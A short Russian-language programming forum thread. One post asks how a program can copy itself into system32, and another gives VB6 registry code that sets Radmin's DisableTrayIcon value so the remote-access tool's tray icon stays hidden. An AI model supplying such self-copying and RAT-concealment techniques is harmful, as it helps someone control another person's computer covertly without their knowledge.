как скопировать саму себя например в system32 ???
я это как-то делал, но было давно, уже забыл...
чувствую что это делается как-то по ламерски, но немогу понять как...
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hkey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hkey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_SET_VALUE = &H2
Private Const REG_BINARY = 3
Private Sub SetRegBin(ByVal Key As Long, ByVal SubName As String, ByVal ValueName As String, Value() As Byte)
Dim hkey As Long
Dim sa As SECURITY_ATTRIBUTES
If RegCreateKeyEx(Key, SubName, 0, "", 0, KEY_CREATE_SUB_KEY Or KEY_SET_VALUE, sa, hkey, 0) <> 0 Then Exit Sub
RegSetValueEx hkey, ValueName, 0, REG_BINARY, Value(0), UBound(Value) + 1
RegCloseKey hkey
End Sub
Private Sub Command1_Click()
Dim buff(3) As Byte
buff(0) = 1
buff(1) = 0
buff(2) = 0
buff(3) = 0
SetRegBin HKEY_LOCAL_MACHINE, "SYSTEM\RAdmin\v2.0\Server\Parameters", "DisableTrayIcon", buff
End Sub
все равно в трее будет видно значок радмина
Сейчас этот форум просматривают: AhrefsBot, Yandex-бот и гости: 173